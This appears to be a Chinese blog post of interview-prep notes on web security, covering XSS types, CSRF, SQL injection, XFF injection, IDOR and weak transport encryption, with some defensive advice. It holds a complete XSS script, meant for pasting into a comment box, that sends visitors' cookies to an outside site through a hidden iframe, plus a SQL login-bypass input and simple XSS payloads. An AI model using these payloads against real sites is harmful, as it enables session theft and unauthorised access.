一直以来自己对WEB安全方面的知识了解的比较少,最近有点闲工夫了解了一下。也是为了以后面试吧,之前就遇到过问WEB安全方面的问题,答的不是很理想,所以整理了一下!
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
特点:尽一切办法在目标网站上执行非目标网站上原有的脚本。
1. Reflected XSS(基于反射的XSS攻击)
非持久型,反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。
反射型 XSS 的攻击步骤:
2. Stored XSS(基于存储的XSS攻击)
持久型,这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
存储型 XSS 的攻击步骤:
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)
般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
DOM 型 XSS 的攻击步骤:
使用xss弹出恶意警告框,代码为:
<script>alert("xss")</script>
xss输入也可能是html代码段,如果使网页不停的刷新,代码为:
<meta http-equiv="refresh" content="0;">
嵌入其他网站链接的代码为:
<iframe src="http://www.jsay.org" width=0 height=0></iframe>
<!-- jsay.org 个人小站还没开始运行哦! -->
JavaScript
写一个请求跨站的脚本就是XSS了,如下:
<!-- jsay.org 个人小站还没开始运行哦! -->
<!-- 将此段代码放在评论/留言框中提交 -->
<script type="text/javascript">
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://www.jsay.org/xss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
</script>
思路:对输入(和URL参数)进行过滤,对输出进行编码。也就是对提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。虽然对输入过滤可以被绕过,但是也还是会拦截很大一部分的XSS攻击。
<>
、/
、&
、'
、"
)进行转义、过滤,仅接受指定长度范围内并符合我们期望格式的的内容提交,阻止或者忽略除此外的其他任何数据;CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
本质原因:CSRF攻击是源于Web的隐式身份验证机制。Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。CSRF攻击的一般是由服务端解决。
CSRF攻击条件:
虽然有些时候你访问B网站的时候,并没有访问A网站,但是你并不能保证之前登录过A网站的本地Cookie已过期,这个时候B网站一样是可以发起攻击。 CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的!
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
简单举例:
// 前端给后端post键值对,登录的用户名和密码
let data = {
username: 'admin',
pwd: 'abc123456'
}
// 后端的sql语句
SELECT * FROM user WHERE username='${username}' AND psw='${pwd}'
这个时候前端的 username
别人输入 admin' --
;这个时候查询的 SQL
语句就变成这样子了:
SELECT * FROM user WHERE username='admin' -- AND psw='${pwd}'
Ps: --
在SQL语句里面是注释,也就是说登录的查询条件变成了不需要验证密码!
X-Forwarded-for的缩写,XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
当开发人员公开对内部实现对象的引用(例如URL或FORM参数中的文件,目录或数据库键)时,就会发生这种情况。攻击者可以使用此信息访问其他对象,并可以创建将来的攻击来访问未经授权的数据。
简单举例:
更改以下URL中的 userid
可以使攻击者查看其他用户的信息。
http://www.jsay.org/userid=123
修改为 http://www.jsay.org/userid=124
攻击者可以通过更改用户标识值来查看其他信息。或者文件允许下载访问 http://www.jsay.org/a.txt
,但是通过 http://www.jsay.org/b.txt
可以看到不允许访问的文件!
处理用户(客户端)和服务器(应用程序)之间的信息交换。应用程序经常通过网络传输敏感信息,如身份验证详细信息,信用卡信息和会话令牌。通过使用弱算法或使用过期或无效的证书或不使用SSL,可以允许将通信暴露给不受信任的用户,这可能会危及Web应用程序和/或窃取敏感信息。